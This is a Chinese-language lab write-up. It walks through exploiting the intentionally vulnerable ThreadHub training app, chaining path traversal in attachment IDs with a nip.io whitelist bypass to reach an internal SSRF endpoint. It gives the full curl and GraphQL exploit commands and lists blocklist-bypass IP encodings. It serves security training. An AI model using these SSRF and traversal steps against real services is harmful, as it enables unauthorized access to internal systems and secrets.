> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# ThreadHub Lab：Secondary-Context Path Traversal 串 DNS Rebinding 打穿 SSRF
- URL: https://taiwanding.com/threadhub-lab-secondary-context-path-traversal-chuan-dns-rebinding-da-chuan-ssrf/
- Published: 2026-07-13T07:54:12.000Z
- Updated: 2026-07-15T02:50:37.000Z
- Author: Kevin Chen
- Tags: #ThreadHub Lab, #ssrf, #path traversal, machine, #vulnmachines

> 一個把「附件系統」與「企業自訂網域」兩個合法功能串成內網 SSRF 的實戰靶機，目標：從外部拿到只綁在 container 內部 `127.0.0.1:8080` 的機密設定端點。

- 靶機來源：[https://github.com/Mgsy/lab-threadhub](https://github.com/Mgsy/lab-threadhub?ref=taiwanding.com)
- 原理參考：作者部落格文章〈SSRF: Breaking through hidden application context〉
- 環境：WSL2 Kali Linux（Docker + curl）

## 一、情境與目標

ThreadHub 是一個虛構的多租戶 SaaS 團隊協作平台，每個公司（tenant）有自己的子網域（例如 `acme.threadhub.lab`），並且可以設定「企業自訂網域」做品牌綁定。

平台功能：

- 團隊私訊討論串（threads / messages）
- 附件系統，且支援「引用現有檔案」
- 企業客戶自訂網域設定

**最終目標**：拿到 flag，格式為 `mgsy.dev{FLAG}`，位置在：

```
http://127.0.0.1:8080/internal/config

```

這個端點是 container 內部服務，對外沒有 map port，外部完全碰不到，唯一能碰到它的，只有 app 自己（因為它們住在同一個 container 裡），所以本題的本質就是一句話：

> **想辦法讓 app 幫我去打它自己內部的 `127.0.0.1:8080`，**這就是 SSRF。

## 二、環境建置

### 1\. 取得靶機

```bash
cd ~/labs
git clone https://github.com/Mgsy/lab-threadhub.git
cd lab-threadhub

```

### 2\. 設定 hosts

靶機用子網域區分 tenant，必須在 hosts 加入對應紀錄。

WSL2 Kali（`/etc/hosts`）：

```bash
echo "127.0.0.1   threadhub.lab"      | sudo tee -a /etc/hosts
echo "127.0.0.1   acme.threadhub.lab" | sudo tee -a /etc/hosts

```

> ⚠️ WSL2 踩坑提醒：這裡加的是 **WSL 內部**的 hosts，若你想用 **Windows 的瀏覽器**打，還要另外去 `C:\Windows\System32\drivers\etc\hosts` 加，若機器上有跑 Tailscale，其 MagicDNS 可能會攔截解析導致瀏覽器打不開 —— 最省事的做法是直接在 WSL 裡開瀏覽器（吃 WSL 的 hosts），或乾脆全程用 curl。

### 3\. 啟動

```bash
docker compose up --build

```

啟動成功會看到內部服務與主程式各自起來，並貼心地印出種子帳號：

```
[Internal Service] Running on port 8080
[Database] Users: alice@acme.test (alice123), bob@acme.test (bob123)
[ThreadHub] Server running on port 3000

```

- 應用程式入口：[http://acme.threadhub.lab](http://acme.threadhub.lab/?ref=taiwanding.com)
- 種子帳號：`alice@acme.test / alice123`、`bob@acme.test / bob123`

### 4\. 拓撲

```
[攻擊者] ──:80──> nginx ──:3000──> app container
                                     └── 內部另跑 internal-service (127.0.0.1:8080)  ← flag 在此

```

重點：`internal-service` 綁在 app container 內的 `0.0.0.0:8080`，**外部無 port mapping，**app 走 `127.0.0.1:3000`，兩者同 container，所以 app 可透過 `127.0.0.1:8080` 直接碰到內部服務。

## 三、偵查（Recon）

### 1\. 登入取得 session

```bash
curl -s -c cookies.txt -X POST http://acme.threadhub.lab/login \
  -H 'Content-Type: application/json' \
  -d '{"email":"alice@acme.test","password":"alice123"}'

```

### 2\. 從前端 JS 挖端點地圖

前端 `app.js` 是伺服器主動送給任何訪客的，讀它挖端點屬於標準黑箱手法：

```bash
curl -s http://acme.threadhub.lab/js/app.js -o app.js
grep -oE '/api/v1/[a-zA-Z0-9/_-]+|/graphql' app.js | sort -u

```

得到：

```
/api/v1/attachments
/api/v1/files
/api/v1/settings/domain
/api/v1/users
/graphql

```

其中 README 點名的兩個功能特別可疑：**附件系統** 與 **自訂網域**（`/settings/domain`，會操作 whitelist），而 `/graphql` 藏著主要商業邏輯。

### 3\. 黑箱枚舉 GraphQL

introspection 被關閉：

```json
{"errors":[{"message":"GraphQL introspection is not allowed by Apollo Server...","extensions":{"code":"GRAPHQL_VALIDATION_FAILED"}}]}

```

但 introspection 關了也擋不住兩件事：

1. **前端 JS 裡的 query／mutation 字串**：

```bash
grep -oE '(query|mutation)[[:space:]]+[A-Za-z]+' app.js | sort -u
# → CreateMessageMutation / CreateThread / GetThread / GetThreadMessages

```

1. **Apollo 的錯誤訊息會逐條吐出正確 schema，**故意送錯誤結構，讓它「Did you mean」給你答案，一步步逼出：

```
CreateMessageInput = {
  threadId:      ID!
  htmlBody:      String!
  attachmentIds: [String!]     ← 字串！不是嚴格數字 ID
}

```

> `attachmentIds` 是 `String` 而非數字型別，是第一個嗅到 path traversal 味道的地方。

### 4\. 摸清正常資料流

上傳一個附件：

```bash
echo "hello" > /tmp/test.txt
curl -s -b cookies.txt http://acme.threadhub.lab/api/v1/attachments -F "file=@/tmp/test.txt"

```

回傳關鍵欄位：

```json
{
  "attachment": {
    "id": "da612ead-...",
    "content_url": "http://acme.threadhub.lab/uploads/02b73963-....txt"
  }
}

```

接著建 thread、發一則帶附件的訊息，觀察到完整資料流：

```
你給 attachmentId
  → 後端查 DB 找到附件，取得其 content_url
  → 後端「主動 fetch 這個 content_url」把內容抓回
  → 存進 /private-attachments/{uuid}/{檔名}
  → 回傳 downloadUrl

```

回傳的 `fileName` 是 content\_url 路徑的**最後一段** —— 這個特性之後會變成很好用的 oracle。

**至此結論**：這系統核心就是「你給一個 ID，它幫你去抓某個 URL 的內容」，SSRF 的雛型已現，接下來要把「它抓的 URL」變成我們控制的。

## 四、漏洞鏈拆解

從劇情種子討論串（alice 與 bob 的對話）能讀出防禦清單，反過來就是攻擊地圖：

| Alice 宣稱的防禦                      | 對應攻擊對策                               |
| -------------------------------- | ------------------------------------ |
| flag 只准 localhost 存取             | app 自己就在 localhost → 逼 app 幫我打（SSRF） |
| 封鎖所有 internal IP                 | 不能送字面 IP → 改用「解析到 127.0.0.1 的域名」     |
| 嚴格域名 whitelist                   | 用自訂網域功能把目標「加進 whitelist」             |
| DNS rebinding／domain tricks「已涵蓋」 | 作者直接點名解法方向                           |

整條鏈由四個關卡串成：

### 關卡 ①：附件 ID 驗證太弱

當 attachmentId 不在 DB 時，後端只驗證「開頭是不是數字」（`/^[0-9]/`），所以 `1/……` 開頭即可通過，後面能塞任意路徑。

### 關卡 ②：Secondary-Context Path Traversal

DB 查不到時，後端把 ID 用字串拼進一個 metadata 查詢 URL：

```
http://127.0.0.1:3000/api/v1/attachments/{attachmentId}

```

Node 的 `new URL()` 會對 `../` 做正規化，因此只要控制 attachmentId，就能讓這個「第一段 fetch」跳去抓別的路徑 —— 例如去抓我們自己上傳到 `/uploads/` 的假 metadata JSON。

**關鍵：層數要算對**（本題最容易卡的地方，見第六節）：

```
注入點：/api/v1/attachments/{此處}
往上要跳掉 attachments、v1、api 三層，加上 "1/" 自己那層 → 共 4 個 ../

1/../../../../uploads/xxx.json
  → 正規化 → /uploads/xxx.json   ✅

```

### 關卡 ③：SSRF Whitelist 的順序漏洞

拿到 metadata 後，後端讀出其中的 `content_url`，再做「第二段 fetch」——這裡才是真正的 SSRF 發生點，防護邏輯 `isDomainAllowed` 的致命順序：

```
1. 這個 hostname 在 whitelist 嗎？ → 在 → 直接放行（跳過後面所有 IP 封鎖！）
2. （只有不在 whitelist 才會走到）比對 blocked patterns：127. / 10. / 192.168. / ...

```

**whitelist 檢查排在 IP 封鎖之前，且命中即放行​**，而 `/settings/domain` 允許把任意域名加進 whitelist，它只擋「字面 IP」，卻擋不住「名字正常但解析到內網的域名」。

### 關卡 ④：`.threadhub.lab` 的 rewrite 陷阱

fetch 前有一段：若 hostname 以 `.threadhub.lab` 結尾，強制把 URL 改寫回 `http://127.0.0.1:3000{path}`，這代表**不能用內部 tenant 域名去打 flag**，因為 port 會被鎖回 3000，到不了 8080，必須用一個「不是 threadhub.lab、卻能進 whitelist、且解析到 127.0.0.1」的域名。

`127.0.0.1.nip.io` 剛好全中：

- 有 `.io` 結尾，長得像域名 → 過「不准字面 IP」的檢查
- nip.io 這種 wildcard DNS 會把它解析成 `127.0.0.1`
- 不是 `.threadhub.lab` → 不被 rewrite，可保留 `:8080`
- 加進 whitelist 後 → 命中即放行，跳過 IP 封鎖

## 五、完整攻擊（Exploit）

### Step 1：把魔法域名加進 whitelist

```bash
curl -s -b cookies.txt http://acme.threadhub.lab/api/v1/settings/domain \
  -H 'Content-Type: application/json' \
  -d '{"domain":"127.0.0.1.nip.io"}'
# → {"success":true, ... "added to the whitelist"}

```

### Step 2：上傳指向 flag 的假 metadata

`/api/v1/files` 端點不擋副檔名，可直接上傳 `.json`：

```bash
cat > /tmp/evil.json <<'EOF'
{"attachment":{"content_url":"http://127.0.0.1.nip.io:8080/internal/config"}}
EOF

curl -s -b cookies.txt http://acme.threadhub.lab/api/v1/files -F "file=@/tmp/evil.json"
# → 回傳 url: http://acme.threadhub.lab/uploads/<UUID>.json

```

### Step 3：建一個「自己是參與者」的 thread

`createMessage` 會先檢查發送者是否為 thread 參與者，因此建立時要把自己加進 `participantIds`（否則會被擋在附件處理之前，靜默回 null）：

```bash
ALICE=$(curl -s -b cookies.txt http://acme.threadhub.lab/api/v1/users/me | jq -r '.user.id')

curl -s -b cookies.txt http://acme.threadhub.lab/graphql \
  -H 'Content-Type: application/json' \
  -d "{\"query\":\"mutation C(\$input: CreateThreadInput!){ createThread(input:\$input){ id } }\",\"variables\":{\"input\":{\"title\":\"pwn\",\"participantIds\":[\"$ALICE\"]}}}"
# → 回傳新的 thread id

```

### Step 4：觸發，用 4 層 traversal 抓假 metadata

```bash
curl -s -b cookies.txt http://acme.threadhub.lab/graphql \
  -H 'Content-Type: application/json' \
  -d '{"query":"mutation M($input: CreateMessageInput!){ createMessage(input:$input){ message{ attachments{ fileName downloadUrl } } errors } }","variables":{"input":{"threadId":"<THREAD_ID>","htmlBody":"pwn","attachmentIds":["1/../../../../uploads/<UUID>.json"]}}}'

```

成功回傳：

```json
{"data":{"createMessage":{"message":{"attachments":[
  {"fileName":"config","downloadUrl":"/private-attachments/<uuid>/config"}
]},"errors":null}}}

```

`fileName` 變成 `config`（`/internal/config` 的最後一段），代表後端真的去抓了 `127.0.0.1.nip.io:8080/internal/config`。

### Step 5：下載，拿 flag

```bash
curl -s -b cookies.txt "http://acme.threadhub.lab/private-attachments/<uuid>/config"

```

```json
{
  ...
  "secrets": {
    "api_key": "mgsy.dev{Redacted}",
    ...
  }
}

```

🚩 **Flag：`mgsy.dev{Redacted}`**

flag 內容本身即是總結 —— **對 `content_url` 的信任放錯了地方**：後端無條件相信「附件 metadata 裡的 content\_url」，讓攻擊者能餵一份假的把它導向內網。

### 四道關卡繞過總覽

| 關卡               | 防禦設計                       | 繞過方式                                       |
| ---------------- | -------------------------- | ------------------------------------------ |
| ① 附件 ID 驗證       | 只檢查「開頭是數字」                 | 1/… 開頭通過，後面塞 traversal                     |
| ② Path traversal | metadata URL 字串拼接          | 4 層 ../ 跳到 /uploads/ 抓自控 JSON              |
| ③ SSRF whitelist | whitelist 檢查排在 IP 封鎖**之前** | 把 127.0.0.1.nip.io 加進 whitelist            |
| ④ 域名 rewrite     | .threadhub.lab 強制導回 3000   | nip.io 非 threadhub.lab，不被 rewrite，直達 :8080 |

## 六、踩坑記錄（Debug 心得）

這一場最有價值的部分不在最終 payload，而在中間的判讀糾結，以下是實際踩到的坑，給後來者避雷：

### 坑 1：`hang` 與 `null` 是完全不同的訊號

打的過程中，不同 payload 會出現兩種截然不同的行為，一開始沒把它們分開看，繞了一大圈：

- **hang（卡住直到 timeout）**\= 後端真的去 fetch 了，但目標路徑落在不存在或會 hang 的地方，卡在半路。
- **秒回 null** \= 流程正常跑完了，但「沒抓到東西」（例如 traversal 正確但檔案還沒上傳、或被前置檢查擋下）。

> 教訓：**null 代表「跑完了但空手」，hang 代表「卡在半路」**，兩者要分開判讀，當時第一批對照實驗其實已經顯示「只有第 4 層秒回 null，1～3 層都 hang」，那個 null 就是正確層數的訊號，只是當下彈藥（evil.json）還沒就位才回空，被誤判成失敗。

### 坑 2：path traversal 層數要實際算，不能用猜的

一度以為 `1/../../uploads/xxx` 兩層就能跳到 `/uploads/`，實測 Node 正規化才發現：

```
1/../../uploads/xxx      → /api/v1/uploads/xxx   （還在 /api/v1/，路徑不存在 → hang）
1/../../../uploads/xxx   → /api/uploads/xxx      （還在 /api/ → hang）
1/../../../../uploads/xxx → /uploads/xxx         （✅ 正確）

```

驗證層數的小腳本：

```javascript
// node t.mjs
for (const id of ["1/../../uploads/x","1/../../../uploads/x","1/../../../../uploads/x"]) {
  console.log(id, "→", new URL(`http://127.0.0.1:3000/api/v1/attachments/${id}`).pathname);
}

```

> 教訓：`../` 的層數取決於「注入點在 URL 路徑的第幾層」，注入點上方有幾段目錄就要跳幾層，這是 path traversal 的核心基本功，也是最多人卡的地方。

### 坑 3：`createMessage` 的參與者前置檢查

用空的 `participantIds:[]` 建 thread，結果連自己都不是參與者，`createMessage` 在**還沒處理附件**前就被 `You are not a participant` 擋下，靜默回 null。建 thread 時要把自己加進參與者。

> 教訓：查詢回傳一定要把 `errors` 欄位一起要出來（`createMessage{ message{...} errors }`），否則失敗時只看到 `message:null`，等於瞎子摸象。有 `errors` 當眼睛，成敗都看得清楚。

## 七、真實世界對應

有人會問：「野生環境哪來的『加白名單』功能給你用？」

這題的 whitelist 功能，正是模擬真實 SaaS 的**企業自訂網域／Custom Domain**功能 —— Slack、Notion、Zendesk、GitHub Enterprise 等都有類似機制，讓企業客戶綁定自家品牌域名，系統為了信任品牌域名，常會把它加進某種內部信任清單。

漏洞不在「有這功能」，而在\*\*「加進去之後就無條件信任、跳過安全檢查」\*\*。真實世界的 SSRF whitelist bypass 常見形態：

1. **自訂域名不驗證解析目標**：綁 `evil.com`，系統信任它，但你把 `evil.com` 的 DNS 指到 `127.0.0.1`（本題的簡化版）。
2. **DNS Rebinding**：域名第一次解析（過檢查）給正常 IP，實際 fetch 時第二次解析偷改成 `127.0.0.1`。檢查與使用之間 DNS 已變，最通用、不需任何白名單功能。
3. **域名剖析不一致**：判斷「安不安全」與「實際連線」用了兩套對 URL 理解不同的邏輯，造成繞過。

即便系統沒有自訂域名功能，SSRF 仍有大量入口：任何接受 URL 的功能（webhook、匯入、縮圖預覽、PDF 產生器），以及只有 blocklist 沒有 whitelist 的系統（blocklist 極易繞：`0177.0.0.1`、`2130706433`、十六進位／八進位／全形數字編碼等）。

> 未來在 bug bounty 看到任何「綁定自訂域名／webhook URL／自訂 callback」的功能，都該問一句：**它會不會信任我控制的域名，去打它自己的內網？**